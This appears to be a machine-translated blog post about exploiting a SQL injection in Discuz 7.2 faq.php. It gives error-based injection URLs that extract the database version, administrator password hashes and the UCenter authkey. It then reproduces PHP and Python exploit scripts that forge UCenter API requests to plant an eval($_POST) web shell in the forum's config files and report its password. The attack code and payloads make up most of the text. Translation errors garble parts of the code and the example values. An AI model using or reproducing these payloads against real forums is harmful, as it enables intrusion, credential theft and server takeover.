Discuz7.2faq. Research on phpsql Injection
6.2 (may be earlier) saw this exp online, is a discuz 7.2 SQL Injection Vulnerability
After multiple research attempts, most exp problems on the Internet exists. I will use and modify them to summarize the usage methods as follows:
Discuz 7.2/faq. php SQL Injection Vulnerability
1. Get database version information
Faq. php? Action = grouppermission & gids [99] = '& gids [100] [0] =) and (select 1 from (select count (*), concat (version (), floor (rand (0) * 2) x from information_schema
. Tables group by x) a) % 23
2. Get the Administrator account password
Faq. php? Action = grouppermission & gids [99] = % 27 & gids [100] [0] =) and (select 1 from (select count (*), concat (select concat (username, 0x27, password) from cdb_members limit 1) from 'information _ scheme '. tables limit 0, 1), floor (rand (0) * 2) x from information_schema.tables group by x) a) % 23
Remove the last 1
For example:
Http: // XXXXX/faq. php? Action = grouppermission & gids [99] = % 27 & gids [100] [0] =) % 20and % 20 (select % 201% 20 from % 20 (select % 20 count (*), concat (select % 20 (select % 20 (select % 20 concat (username, 0x27, password) % 20 from % 20cdb_members % 20 limit % 201) % 20) % 20 from % 20 'information _ scheme '. tables % 20 limit % 200,1), floor (rand (0) * 2) x % 20 from % 20information_schema.tables % 20 group % 20by % 20x) a) % 23
Return Value:
Error: Duplicate entry 'admin' f426eaa50a5c805d360ca4046419c6ba1 'for key'group _ key'
The ciphertext is f426eaa50a5c805d360ca4046419c6ba.
3. Get key
Faq. php? Action = grouppermission & gids [99] = '& gids [100] [0] =) and (select 1 from (select count (*), concat (floor (rand (0) * 2), 0x3a, (select substr (authkey,) from cdb_uc_applications limit), 0x3a) x from information_schema.tables group by x) a) % 23
Faq. php? Action = grouppermission & gids [99] = '& gids [100] [0] =) and (select 1 from (select count (*), concat (floor (rand (0) * 2), 0x3a, (select substr (authkey, 63,64) from cdb_uc_applications limit 0, 1), 0x3a) x from information_schema.tables group by x) % 23
Note that
Because the length of the authkey is limited, it can only be 62 length units, and because the exp content cannot be modified (the database cannot be exposed after modification), the method obtained twice is used, first get the first 62 digits, then get the last two digits
For example
Http: // XXXXX/faq. php? Action = grouppermission & gids [99] = % 27 & gids [100] [0] =) % 20and % 20 (select % 201% 20 from % 20 (select % 20 count (*), concat (floor (rand (0) * 2), 0x3a, (select % 20 substr (authkey,) % 20 from % 20cdb_uc_applications % 20 limit %), 0x3a) x % 20 from % 20information_schema.tables % 20 group % 20by % 20x)) % 23
Return Value:
Error: Duplicate entry '1: Comment 'for key'group _ key'
Http: // XXXX/faq. php? Action = grouppermission & gids [99] = % 27 & gids [100] [0] =) % 20and % 20 (select % 201% 20 from % 20 (select % 20 count (*), concat (floor (rand (0) * 2), 0x3a, (select % 20 substr (authkey, 63,64) % 20 from % 20cdb_uc_applications % 20 limit % 200,1), 0x3a) x % 20 from % 20information_schema.tables % 20 group % 20by % 20x)) % 23
Return Value:
Error: Duplicate entry '1: o6: 'for key' group _ key'
The final key is "Hangzhou" + "o6" = Beijing
After obtaining the hash and key, I wanted to refer to the method of using key getshell. However, it seems that there are two versions
PHP version
<? Php // The copyright of the Code belongs to the original author! $ Timestamp = time () + 10*3600; $ host = "127.0.0.1"; $ uc_key = "Hangzhou "; $ code = urlencode (_ authcode ("time = $ timestamp & action = updateapps", 'encoding', $ uc_key); $ cmd1 = '<? Xml version = "1.0" encoding = "ISO-8859-1"?> <Root> <item id = "UC_API"> http: // xxx \ '); eval ($ _ POST [DOM]); // </item> </root> '; $ cmd2 =' <? Xml version = "1.0" encoding = "ISO-8859-1"?> <Root> <item id = "UC_API"> http: // aaa </item> </root> '; $ html1 = send ($ cmd1); echo $ html1; $ html2 = send ($ cmd2); echo $ html2; function send ($ cmd) {global $ host, $ code; $ message = "POST/api/uc. php? Code = ". $ code. "HTTP/1.1 \ r \ n"; $ message. = "Accept: */* \ r \ n"; $ message. = "Referer :". $ host. "\ r \ n"; $ message. = "Accept-Language: zh-cn \ r \ n"; $ message. = "Content-Type: application/x-www-form-urlencoded \ r \ n"; $ message. = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) \ r \ n"; $ message. = "Host :". $ host. "\ r \ n"; $ message. = "Content-Length :". strlen ($ cmd ). "\ r \ n"; $ message. = "Conne Ction: Close \ r \ n "; $ message. = $ cmd; // var_dump ($ message); $ fp = fsockopen ($ host, 80); fputs ($ fp, $ message); $ resp = ''; while ($ fp &&! Feof ($ fp) $ resp. = fread ($ fp, 1024); return $ resp;} function _ authcode ($ string, $ operation = 'decode', $ key = '', $ expiry = 0) {$ ckey_length = 4; $ key = md5 ($ key? $ Key: UC_KEY); $ keya = md5 (substr ($ key, 0, 16); $ keyb = md5 (substr ($ key, 16, 16 )); $ keyc = $ ckey_length? ($ Operation = 'decode '? Substr ($ string, 0, $ ckey_length): substr (md5 (microtime (),-$ ckey_length): ''; $ cryptkey = $ keya. md5 ($ keya. $ keyc); $ key_length = strlen ($ cryptkey); $ string = $ operation = 'decode '? Base64_decode (substr ($ string, $ ckey_length): sprintf ('% 010d', $ expiry? $ Expiry + time (): 0 ). substr (md5 ($ string. $ keyb), 0, 16 ). $ string; $ string_length = strlen ($ string); $ result = ''; $ box = range (0,255); $ rndkey = array (); for ($ I = 0; $ I <= 255; $ I ++) {$ rndkey [$ I] = ord ($ cryptkey [$ I % $ key_length]);} for ($ j = $ I = 0; I I <256; $ I ++) {$ j = ($ j + $ box [$ I] + $ rndkey [$ I]) % 256; $ tmp = $ box [$ I]; $ box [$ I] = $ box [$ j]; $ box [$ j] = $ tmp;} for ($ a = $ j = $ I = 0; $ I <$ str Ing_length; $ I ++) {$ a = ($ a + 1) % 256; $ j = ($ j + $ box [$ a]) % 256; $ tmp = $ box [$ a]; $ box [$ a] = $ box [$ j]; $ box [$ j] = $ tmp; $ result. = chr (ord ($ string [$ I]) ^ ($ box [($ box [$ a] + $ box [$ j]) % 256]);} if ($ operation = 'decode') {if (substr ($ result, 0, 10) = 0 | substr ($ result, 0, 10) -time ()> 0) & substr ($ result, 10, 16) = substr (md5 (substr ($ result, 26 ). $ keyb), 0, 16) {return substr ($ result, 26) ;}else {return '';}} else {return $ keyc. str_replace ('=','', base64_encode ($ result) ;}?>
One paython version
#! /Usr/bin/env python # coding = utf-8import hashlibimport timeimport mathimport base64import urllibimport urllib2import sys def microtime (get_as_float = False): if get_as_float: return time. time () else: return '%. 8f % d' % math. modf (time. time () def get_authcode (string, key = ''): ckey_length = 4 key = hashlib. md5 (key ). hexdigest () keya = hashlib. md5 (key [0: 16]). hexdigest () keyb = hashlib. md5 (key [16: 32]). Hexdigest () keyc = (hashlib. md5 (microtime ()). hexdigest () [-ckey_length:] # keyc = (hashlib. md5 ('0. 736000 1389448306 '). hexdigest () [-ckey_length:] cryptkey = keya + hashlib. md5 (keya + keyc ). hexdigest () key_length = len (cryptkey) string = '000000' + (hashlib. md5 (string + keyb )). hexdigest () [] + string string_length = len (string) result = ''box = range (0,256) rndkey = dict () for I in range (0,256 ): Rndkey [I] = ord (cryptkey [I % key_length]) j = 0 for I in range (0,256): j = (j + box [I] + rndkey [I]) % 256 tmp = box [I] box [I] = box [j] box [j] = tmp a = 0 j = 0 for I in range (0, string_length ): a = (a + 1) % 256 j = (j + box [a]) % 256 tmp = box [a] box [a] = box [j] box [j] = tmp result + = chr (ord (string [I]) ^ (box [(box [a] + box [j]) % 256]) return keyc + base64.b64encode (result ). replace ('=', '') def get_sh Ell (url, key, host): ''' send command to obtain webshell ''' headers = {'Accept-color': 'zh-cn', 'content-type ': 'application/x-www-form-urlencoded', 'user-agent': 'mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) ', 'Referer ': url} tm = time. time () + 10*3600 tm = "time = % d & action = updateapps" % tm code = urllib. quote (get_authcode (tm, key) url = url + "? Code = "+ code data1 = ''' <? Xml version = "1.0" encoding = "ISO-8859-1"?> <Root> <item id = "UC_API"> http: // xxx \ '); eval ($ _ POST [1]); // </item> </root> ''' try: req = urllib2.Request (url, data = data1, headers = headers) ret = urllib2.urlopen (req) failed t: return "Access Error" data2 = ''' <? Xml version = "1.0" encoding = "ISO-8859-1"?> <Root> <item id = "UC_API"> http: // aaa </item> </root> ''' try: req = urllib2.Request (url, data = data2, headers = headers) ret = urllib2.urlopen (req) handle T: return "error" return "webshell:" + host + "/config/config_ucenter.php, password: 1 "if _ name _ = '_ main _': host = sys. argv [1] key = sys. argv [2] url = host + "/api/uc. php "print get_shell (url, key, host)
Usage:
python uckey.py http://www.localhost.com/ uckey |
However, it seems that it cannot kill 7.2. getshell is not successful. I don't know why. Please advise me more.
The exp of "Pony" is attached, but the effect is not satisfactory. It is generally far away from the above, but it does not seem to be getshell.
<? Php/*** @ author: xiaoma * @ blog: www.i0day.com * @ date: 2014.7.2 23:1 */error_reporting (0); set_time_limit (3000 ); $ host = $ argv [1]; $ path = $ argv [2]; $ js = $ argv [3]; $ timestamp = time () + 10*3600; $ table = "cdb _"; // table name if ($ argc <2) {print_r ('************************************ * ******************** Discuz faq. php SQL Injection Exp ** --------- By: Www.i0day.com ----------- ** Usage: php '. $ argv [0]. 'url 1 ** --------------------------------------- ** Js options: 1. getShell 2. password 3. table prefix *** php '. $ argv [0]. 'www.i0day.com/1 ** php '. $ argv [0]. 'www.i0day.com/dz72/1 ********************************** ***************************'); exit;} if ($ js = 1) {$ SQL = "action = grouppermission & gids [99] = '& gids [100] [0] =) % 20and % 20 (select % 201% 20 from % 20 (select % 20 count (*), concat (floor (rand (0) * 2), 0x3a3a, (select % 20 leng Th (authkey) % 20 from % 20 ". $ table. "uc_applications % 20 limit % 200,1), 0x3a3a) x % 20 from % 20information_schema.tables % 20 group % 20by % 20x) a) % 23"; $ resp = sendpack ($ host, $ path, $ SQL); if (strpos ($ resp, ":") =-1) {echo 'table prefix may not be the default cdb _ check the table prefix first! ';} Else {preg_match ("/::(. *):/", $ resp, $ matches); $ lenght = intval ($ matches [1]); if ($ lenght) {if ($ lenght <= 124) {$ SQL = "action = grouppermission & gids [99] = '& gids [100] [0] =) % 20and % 20 (select % 201% 20 from % 20 (select % 20 count (*), concat (floor (rand (0) * 2), 0x5E, (select % 20 substr (authkey, 1,62) % 20 from % 20 ". $ table. "uc_applications % 20 limit % 200,1) x % 20 from % 20information_schema.tables % 20 group % 20by % 20x) a) % 23"; $ resp = sendpac K ($ host, $ path, $ SQL); if (strpos ($ resp, "1 \ ^ ")! =-1) {preg_match ("/1 \ ^ (. *) \ '/U ", $ resp, $ key1); $ SQL =" action = grouppermission & gids [99] =' & gids [100] [0] =) % 20and % 20 (select % 201% 20 from % 20 (select % 20 count (*), concat (floor (rand (0) * 2), 0x5E, (select % 20 substr (authkey, 63,62) % 20 from % 20 ". $ table. "uc_applications % 20 limit % 200,1) x % 20 from % 20information_schema.tables % 20 group % 20by % 20x) a) % 23"; $ resp = sendpack ($ host, $ path, $ SQL); preg_match ("/1 \ ^ (. *) \ '/U ", $ resp, $ key2); $ ke Y = $ key1 [1]. $ key2 [1]; $ code = urlencode (_ authcode ("time = $ timestamp & action = updateapps", 'encoding', $ key); $ cmd1 = '<? Xml version = "1.0" encoding = "ISO-8859-1"?> <Root> <item id = "UC_API"> bbs.49you.com \ '); eval ($ _ POST [i0day]); // </item> </root> '; $ cmd2 = '<? Xml version = "1.0" encoding = "ISO-8859-1"?> <Root> <item id = "UC_API"> bbs.49you.com </item> </root> '; $ html1 = send ($ cmd1); $ res1 = substr ($ html1, -1); $ html2 = send ($ cmd2); $ res2 = substr ($ html1,-1 ); if ($ res1 = '1' & $ res2 = '1') {echo "shell address: http ://". $ host. $ path. 'config. inc. php pass: i0day ';}} else {echo 'failed to get' ;}}}} elseif ($ js = 2) {$ SQL = "action = grouppermission & gids [99] = % 27 & gids [100] [0] = % 29% 20and % 20% 28 select % 201% 20 from % 20% 28 select % 20 count % 28 * % 2 9, concat % 28% 28 select % 20 concat % 280x5E5E5E, username, 0x3a, password, 0x3a, salt % 29% 20 from % 20 ". $ table. "uc_members % 20 limit % 280%, 1% 29, floor % 28 rand % 29*2% 29, 0x5E % 29x % 20 from % 20information_schema.tables % 20 group % 20by % 20x % 29a % 29% 23 "; $ resp = sendpack ($ host, $ path, $ SQL ); if (strpos ($ resp, "\ ^ ")! =-1) {preg_match ("/\ ^ (. *) \ ^/U ", $ resp, $ password); echo 'password :'. $ password [1];} else {echo 'table prefix may not be the default cdb _ check the table prefix first! ';}} Elseif ($ js = 3) {$ SQL = "action = grouppermission & gids [99] =' & gids [100] [0] =) % 20and % 20 (select % 201% 20 from % 20 (select % 20 count (*), concat (floor (rand (0) * 2), 0x5E, (select % 20hex (table_name) % 20 from % 20information_schema.tables % 20 where % 20table_schema = database () % 20 limit % ,,1), 0x5E) x % 20 from % 20information_schema % 20. tables % 20 group % 20by % 20x) a) % 23 "; $ resp = sendpack ($ host, $ path, $ SQL); if (strpos ($ resp, "1 \ ^ ")! =-1) {preg_match ("/1 \ ^ (. *) \ ^/U ", $ resp, $ t); if (strpos ($ t [1]," cdb _")! =-1) {echo "table name :". hex2str ($ t [1]). "The table prefix is the default cdb _ no need to modify";} else {echo "table name :". hex2str ($ t [1]). 'Not the default table name cdb _ Please modify $ table';} else {echo "viewing table prefix failed, Sorry ";}} else {echo "No Script function selected";} function sendpack ($ host, $ path, $ SQL, $ js) {$ data = "GET ". $ path. "/faq. php? ". $ SQL. "HTTP/1.1 \ r \ n"; $ data. = "Host :". $ host. "\ r \ n"; $ data. = "User-Agent: Mozilla/5.0 (Windows NT 5.1; rv: 20.0) Gecko/20100101 Firefox/20.0 \ r \ n"; $ data. = "Connection: close \ r \ n"; // $ data. = $ html. "\ r \ n"; $ ock = fsockopen ($ host, 80); if (! $ Ock) {echo "No response from". $ host; die () ;}fwrite ($ ock, $ data); $ resp = ''; while (! Feof ($ ock) {$ resp. = fread ($ ock, 1024);} return $ resp;} function send ($ cmd) {global $ host, $ code, $ path; $ message = "POST ". $ path. "/api/uc. php? Code = ". $ code. "HTTP/1.1 \ r \ n"; $ message. = "Accept: */* \ r \ n"; $ message. = "Referer :". $ host. "\ r \ n"; $ message. = "Accept-Language: zh-cn \ r \ n"; $ message. = "Content-Type: application/x-www-form-urlencoded \ r \ n"; $ message. = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) \ r \ n"; $ message. = "Host :". $ host. "\ r \ n"; $ message. = "Content-Length :". strlen ($ cmd ). "\ r \ n"; $ message. = "Conne Ction: Close \ r \ n "; $ message. = $ cmd; // var_dump ($ message); $ fp = fsockopen ($ host, 80); fputs ($ fp, $ message); $ resp = ''; while ($ fp &&! Feof ($ fp) $ resp. = fread ($ fp, 1024); return $ resp;} function _ authcode ($ string, $ operation = 'decode', $ key = '', $ expiry = 0) {$ ckey_length = 4; $ key = md5 ($ key? $ Key: UC_KEY); $ keya = md5 (substr ($ key, 0, 16); $ keyb = md5 (substr ($ key, 16, 16 )); $ keyc = $ ckey_length? ($ Operation = 'decode '? Substr ($ string, 0, $ ckey_length): substr (md5 (microtime (),-$ ckey_length): ''; $ cryptkey = $ keya. md5 ($ keya. $ keyc); $ key_length = strlen ($ cryptkey); $ string = $ operation = 'decode '? Base64_decode (substr ($ string, $ ckey_length): sprintf ('% 010d', $ expiry? $ Expiry + time (): 0 ). substr (md5 ($ string. $ keyb), 0, 16 ). $ string; $ string_length = strlen ($ string); $ result = ''; $ box = range (0,255); $ rndkey = array (); for ($ I = 0; $ I <= 255; $ I ++) {$ rndkey [$ I] = ord ($ cryptkey [$ I % $ key_length]);} for ($ j = $ I = 0; I I <256; $ I ++) {$ j = ($ j + $ box [$ I] + $ rndkey [$ I]) % 256; $ tmp = $ box [$ I]; $ box [$ I] = $ box [$ j]; $ box [$ j] = $ tmp;} for ($ a = $ j = $ I = 0; $ I <$ str Ing_length; $ I ++) {$ a = ($ a + 1) % 256; $ j = ($ j + $ box [$ a]) % 256; $ tmp = $ box [$ a]; $ box [$ a] = $ box [$ j]; $ box [$ j] = $ tmp; $ result. = chr (ord ($ string [$ I]) ^ ($ box [($ box [$ a] + $ box [$ j]) % 256]);} if ($ operation = 'decode') {if (substr ($ result, 0, 10) = 0 | substr ($ result, 0, 10) -time ()> 0) & substr ($ result, 10, 16) = substr (md5 (substr ($ result, 26 ). $ keyb), 0, 16) {return substr ($ result, 26);} else {return '';} else {return $ keyc. str_replace ('=', '', base64_encode ($ result) ;}} function hex2str ($ hex) {$ str =''; $ arr = str_split ($ hex, 2); foreach ($ arr as $ bit) {$ str. = chr (hexdec ($ bit);} return $ str ;}?>